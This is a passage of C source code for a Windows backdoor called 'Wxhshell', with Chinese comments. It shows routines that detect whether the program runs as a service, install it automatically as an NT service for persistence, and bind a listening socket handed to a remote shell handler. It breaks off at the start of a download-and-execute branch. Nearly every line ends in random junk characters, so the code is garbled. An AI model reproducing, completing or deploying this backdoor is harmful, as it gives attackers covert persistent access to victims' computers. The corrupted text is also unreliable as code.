ULONG InheritedFromUniqueProcessId; )/w2]d/9
} PROCESS_BASIC_INFORMATION; dY^~^<{Lj
MDt4KD+bZ
PROCNTQSIP NtQueryInformationProcess; Yzz8:n
To95WG7G
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2Ev,dWV
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g'@+#NMw
Pd?YS!+S
HANDLE hProcess; N11am
PROCESS_BASIC_INFORMATION pbi; Orgje@c{
oKiu6=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &aU+6'+QXB
if(NULL == hInst ) return 0; 8iB}a\]B
uNDkK o<M
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z )I4U
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #B[>\D"*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a1&^P1.
lRq!|.C
if (!NtQueryInformationProcess) return 0; }W J`q`g
Urr1K)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eX/$[SL[
if(!hProcess) return 0; UgJHSl
~f:fOrLE#
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }M@ pdE
L K$hV"SYb
CloseHandle(hProcess); J/ ~]A1fP6
c@P,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); > im4'-
if(hProcess==NULL) return 0; j--#vEW
#;)7~69
HMODULE hMod; S3r\)5%;
char procName[255]; s Y,3
unsigned long cbNeeded; el<nY"c
rkrt.B
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !.A>)+AK
g$qh(Z_s
CloseHandle(hProcess); JP]K\nQx'
m[XN,IE#u
if(strstr(procName,"services")) return 1; // 以服务启动 X,b}d#\
l%O-c}X
return 0; // 注册表启动 3`y:W9!u
} A{k@V!A%
{u5@Yp
// 主模块 cW2:D$Pe
int StartWxhshell(LPSTR lpCmdLine) $}829<gh7
{ :d;5Q\C`
SOCKET wsl; 2t'&7>Ys{
BOOL val=TRUE; :>;#/<3{
int port=0;
J&?kezs
struct sockaddr_in door; S;C3R5*:
gVc[`(@h
if(wscfg.ws_autoins) Install(); 0qv)'[O
oT'XcMn
port=atoi(lpCmdLine); Jq->DzSmj/
W~qo
`r
if(port<=0) port=wscfg.ws_port; uE2Yn`Ha
ME(!xI//JZ
WSADATA data; fHiCuF
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VmW_,
b({2|R
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; BdTj0{S1u
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j8b:+io
door.sin_family = AF_INET; Cn,dr4J[
door.sin_addr.s_addr = inet_addr("127.0.0.1"); t
t=$:}A
door.sin_port = htons(port); F^f]*MhT"
(0S"ZT
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lZ|Ao0(
closesocket(wsl); &xVWN>bd^
return 1; !dGgLU_
} 9D
bp`%j
6\`,blkX
if(listen(wsl,2) == INVALID_SOCKET) { 6\bbP>ql
closesocket(wsl); s}.nh>Q
return 1; AxeWj%w@
} ;J:YNup
Wxhshell(wsl); p81~Lk*Hz@
WSACleanup(); JBqzQ^[n
R#t~i&v/
return 0; psMagzr&)e
4xlsdq8`t
} P_;oSN|>
LZeR.8XM>
// 以NT服务方式启动 )gR&Ms4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $KiA~l
{ Gp14;
DWORD status = 0; LRs{nN.N
DWORD specificError = 0xfffffff; HTC7fS
*?uF&( 0
serviceStatus.dwServiceType = SERVICE_WIN32; k$hWR;U
serviceStatus.dwCurrentState = SERVICE_START_PENDING; a'|0e]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k;)L-ge9
serviceStatus.dwWin32ExitCode = 0; \ l:n
serviceStatus.dwServiceSpecificExitCode = 0; ,UP6.C14
serviceStatus.dwCheckPoint = 0; R'{V&H^Z
serviceStatus.dwWaitHint = 0; UY==1\
@U&|38
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZE :oK
if (hServiceStatusHandle==0) return; Deam%)bXM]
b~|B(lL6Xm
status = GetLastError(); au8)G_A
if (status!=NO_ERROR) 2XE4w# [j
{ ELm#
serviceStatus.dwCurrentState = SERVICE_STOPPED; hZpFI?lqc\
serviceStatus.dwCheckPoint = 0; []@Mk
serviceStatus.dwWaitHint = 0; zIL.R#|D=
serviceStatus.dwWin32ExitCode = status; @=9QV3D
serviceStatus.dwServiceSpecificExitCode = specificError; W&"FejD
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f; 22viE
return; WN0^hDc-
} m?csake.Me
wiutUb
Y
serviceStatus.dwCurrentState = SERVICE_RUNNING; '
ft
|
serviceStatus.dwCheckPoint = 0; X9P-fF?0
serviceStatus.dwWaitHint = 0; PBUc9/
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )a.U|[:y[+
} .8,lhcpY
!,\]> c
// 处理NT服务事件,比如:启动、停止 N=wB1gJ
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5%Q!R%
{ A}%sF MA
switch(fdwControl) 8mV35A7l
{ F4k`x/ak
case SERVICE_CONTROL_STOP: "];19]x6q
serviceStatus.dwWin32ExitCode = 0; ie_wJ=s
serviceStatus.dwCurrentState = SERVICE_STOPPED; |HL1.;1
serviceStatus.dwCheckPoint = 0; ?e BN_a,r6
serviceStatus.dwWaitHint = 0; L0|u^J
{ ICGBU>Db
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2sXWeiJy;
} )'qZ6%
return; s^6S {XJ
case SERVICE_CONTROL_PAUSE: +>s[w{Svy
serviceStatus.dwCurrentState = SERVICE_PAUSED; K
<0ItNv
break; p1Els/|
case SERVICE_CONTROL_CONTINUE: WUHijHo5(8
serviceStatus.dwCurrentState = SERVICE_RUNNING; UE(%R1Py
break; :+u?A
case SERVICE_CONTROL_INTERROGATE: b&!X#3(KT
break; $idYG<],
}; @ )1u
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kj'uTEM
} s Ce{V*ua
HK }C<gg
// 标准应用程序主函数 M[X& Q
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8&3G|m1-2
{ i |C'_gw`n
@P%&Dha
// 获取操作系统版本 wL}=$DN
OsIsNt=GetOsVer(); f#[Fqkmj
GetModuleFileName(NULL,ExeFile,MAX_PATH); M*t{?o/t;
RhYf+?2
// 从命令行安装 nlJxF5/
if(strpbrk(lpCmdLine,"iI")) Install(); s:Memvf
zX)uC<
// 下载执行文件 L"AZ,|wIk
if(wscfg.ws_downexe) { &